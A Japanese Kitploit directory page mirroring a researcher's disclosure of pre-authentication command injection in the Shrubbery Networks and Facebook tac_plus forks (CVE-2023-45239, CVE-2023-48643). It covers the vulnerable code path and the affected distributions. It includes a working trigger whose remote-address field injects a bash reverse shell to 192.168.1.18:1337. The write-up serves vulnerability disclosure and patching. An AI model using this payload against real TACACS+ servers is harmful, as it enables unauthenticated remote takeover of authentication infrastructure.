Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
tac_plus-pre-auth-rce — tac_plus 認証前リモートコマンド実行脆弱性 (CVE-2023-45239 & CVE-2023-48643) | Kitploit
ツール/GitHubGitHub/takeshixx/tac_plus-pre-auth-rce
脆弱性分析エクスプロイトウェブアプリケーション悪用ペネトレーションテストコマンド&コントロールリモートアクセスツール
GitHubtakeshixx/tac_plus-pre-auth-rce

tac_plus-pre-auth-rce

tac_plus 認証前リモートコマンド実行脆弱性 (CVE-2023-45239 & CVE-2023-48643)

リポジトリを見る
1352年前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

tac_Plus 事前認証リモートコマンド実行の脆弱性

このリポジトリには、tac_plus のさまざまなオープンソース実装における事前認証リモートコマンド実行の脆弱性に関する情報が含まれています。影響を受けるのは以下の2つのフォークです:

  • Shrubbery Networks tac_plus
  • Facebook tac_plus

ただし、両方のフォークは、16年以上前にオープンソース化されたCiscoのTACACS+用開発キットに基づいています。この脆弱性は開発キットにすでに存在しており、両方のプロジェクトにフォークされました。なお、この研究は上記の2つのフォークのみに焦点を当てたものであり、他にも影響を受けるフォークが存在する可能性があることに注意してください。

次のグラフはフォーク間の関係を示しており、すべてが影響を受けます:

root@kitploit:~
-----------------
| Cisco dev kit |
-----------------
       ↑
  forked from
       |
----------------------
| Shrubbery Networks |
|   CVE-2023-48643   |
----------------------
       ↑
  forked from
       |
------------------
|    Facebook    |
| CVE-2023-45239 |
------------------

Ciscoの開発キットの公式ソースは見つかっておらず、現在もメンテナンスされていません。

ステータス

  • FacebookはGitHub Security Advisory (GHSA)を公開し、CVE-2023-45239が割り当てられました
  • Shrubbery Networksのフォークにはパッチは利用できません

脆弱性

以下の例では、GitHubで利用可能なfacebook/tac_plusリポジトリのコードを参照しています(Cisco開発キットとShrubbery Networksフォークは単なるtarボールです)。ただし、影響を受けるコードはすべてのプロジェクトで同じです。

パケットが到着すると、start_session() 関数が呼び出され、受信パケットの種類(認証、承認、アカウンティング)を判定します。ここでは、author() → do_author() によって処理される承認パケットに焦点を当て、その後 pre_authorization() を呼び出します。この関数は、TACACS+ パケット内のユーザー名に before authorization コマンドが設定されているかどうかをチェックし、call_pre_process() を介して実行します。次の設定ファイル (tac_plus.conf) は、before authorization コマンドが設定されたユーザーを示しています:

root@kitploit:~
accounting file = /tmp/tac_acc.log

user=DEFAULT {
 before authorization "/usr/local/sbin/tac_policy -- '$user' '$name' '$address'"
  service = exec {
    default attribute = permit
  }
}

この関数は、before authorization で設定されたコマンドを取得し、substitutes 変数(例:$user、$name、$address)を受信したTACACS+パケットの値で置き換えます。ただし、これは入力検証やサニタイズなしで行われます。

結果のコマンド文字列は、my_popen() に渡され、次の execl() 呼び出しでコマンド文字列を実行します:

root@kitploit:~
(void) execl("/bin/sh", "sh", "-c", cmd, (char *) NULL);

これにより、TACACS+ パケットのリモートアドレスフィールドを介して追加のコマンドを注入できます(RFC8907 の rem_addr、rem_addr_len を参照)。同じ方法は他の入力フィールドでも機能する可能性があります。

この脆弱性は認証プロセス中にトリガーされることに注意してください。したがって、パスワードは不要で、設定に存在するユーザー名のみが必要です。

脆弱性のトリガー

この設定でtac_plusをコンパイルして実行する方法は、以下のセクションで説明されています:

  • Shrubbery Network tac_plus のセットアップ
  • Facebook tac_plus のセットアップ

次のコマンドは、ターゲットデーモン上でユーザーDEFAULTを使用してtacacs_clientを実行します。脆弱性をトリガーするペイロードは、--rem-addr コマンドライン引数で設定されるリモートアドレスフィールドにあります:

root@kitploit:~
export TACACS_PLUS_KEY=[REDACTED] # only required for setups with a pre-shared keys
tacacs_client \
    --host 192.168.1.100 \
    --port 4949 \
    --username DEFAULT \
    --rem-addr "asd';bash -i >& /dev/tcp/192.168.1.18/1337 0>&1 #" \
    authorize -c service=exec

これを実行すると、192.168.1.18:1337へのリバースシェル接続が発生します。ユーザー名は、tac_plus.cfg で before authorization または after authorization ディレクティブが設定されているユーザーのいずれかである必要があります。末尾のコマンドリスト(-c service=exec)は必要なコードパスに到達するために必要ですが、値は重要ではありません。

クライアントから送信されたTACACS+パケットをWiresharkで表示したスクリーンショットを以下に示します:

Wireshark Setup

次のスクリーンショットは、注入されたコマンドが実行される直前のデバッグセッションを示しています:

VScode Debug

影響を受けるLinuxディストリビューション/BSD派生

さまざまなLinuxディストリビューションが、公式パッケージで影響を受ける2つのフォークのいずれかを使用しています(主にShrubbery Networksフォーク)。以下の表は、本稿執筆時点でShrubbery NetworksまたはFacebookフォークを使用しているLinuxディストリビューションとBSD派生を示しています。このリストは網羅的ではなく、他のディストリビューション/派生も影響を受ける可能性が高いです。

ディストリビューションパッケージフォーク
FedoratacacsFacebook
Ubuntutacacs+Shrubbery Networks
OpenSUSEtac_plusShrubbery Networks
Debiantacacs+Shrubbery Networks
Arch Linux (AUR)tacacs-plusShrubbery Networks
...
派生ポートフォーク
FreeBSDtacacsShrubbery Networks
NetBSDtacacsShrubbery Networks
...

この問題を再現する方法の例は、以下のセクションで確認できます:

  • Shrubbery Networks tac_plus の例
  • Facebook tac_plus の例
ツールをダウンロード